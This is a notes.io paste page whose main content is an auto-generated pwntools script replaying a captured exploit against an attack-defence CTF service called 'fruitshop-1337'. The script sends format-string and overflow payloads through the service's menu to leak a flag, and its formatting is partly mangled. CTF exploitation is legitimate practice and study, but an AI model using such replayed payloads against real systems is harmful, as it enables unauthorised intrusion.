NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

#!/usr/bin/env python3
# Filename: replay-fruitshop-1337-1022378287676128.py
import json
import os
import random

from pwn import *

"""
This file was generated from network capture towards 10.42.1.6 (TCP).
Corresponding flow id: 1022378287676128
Service: fruitshop-1337
"""

# Set logging level
context.log_level = "DEBUG" # or INFO, WARNING, ERROR

# Load arguments
# EXTRA is an array of the flagids for current service and team
if len(sys.argv) < 2:
print(f'Usage: {sys.argv[0]} <target> [flag_id]')
sys.exit(1)
HOST = sys.argv[1]
if len(sys.argv) > 2:
EXTRA = json.loads(bytes.fromhex(sys.argv[2]).decode())
else:
EXTRA = []

# Connect to remote and run the actual exploit
# Timeout is important to prevent stall
r = remote(HOST, 1337, typ="tcp", timeout=2)

# SNIPPET: Generate uniformly random strings of length `k`
# rand_choice = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
# value = "".join(random.choices(rand_choice, k=16))

# FIXME: You should identify if a flag_id was used in the following
# payload. If it is the case, then you should loop using EXTRA.
# for flag_id in EXTRA:
data = r.recvuntil(b' want to enter: ')
r.sendline(b'88')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'1')
data = r.recvuntil(b'ame of basket : ')
r.sendline(b'%#%#/storeroom-88')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'3')
data = r.recvuntil(b'5.Grapesnx1b[0m>> ')
r.sendline(b'1')
data = r.recvuntil(b'r size of tag : ')
r.sendline(b'32')
data = r.recvuntil(b' tag of Fruit : ')
r.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAA1x00x00x00x00x00x00x00')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'3')
data = r.recvuntil(b'5.Grapesnx1b[0m>> ')
r.sendline(b'2')
data = r.recvuntil(b'r size of tag : ')
r.sendline(b'32')
data = r.recvuntil(b' tag of Fruit : ')
r.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAA1x00x00x00x00x00x00x00')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'3')
data = r.recvuntil(b'5.Grapesnx1b[0m>> ')
r.sendline(b'3')
data = r.recvuntil(b'r size of tag : ')
r.sendline(b'32')
data = r.recvuntil(b' tag of Fruit : ')
r.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAA1x00x00x00x00x00x00x00')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'4')
data = r.recvuntil(b' the fruit id : ')
r.sendline(b'0')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'4')
data = r.recvuntil(b' the fruit id : ')
r.sendline(b'2')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'6')
data = r.recvuntil(b'Basket tag : ')
r.sendline(b'281da39ee81a335582b682c4f4bf55eac025696d06ec735a67c2bcf5682f670c-9fdf98a8f2')
data = r.recvuntil(b'nYour Choice >> ')
r.sendline(b'2')
data = r.recvuntil(b' Error: Successn')

# Use the following to capture all remaining bytes:
# data = r.recvall(timeout=5)
# print(data, flush=True)

r.close()
     
 
what is notes.io
 

Notes is a web-based application for online taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000+ notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 14 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.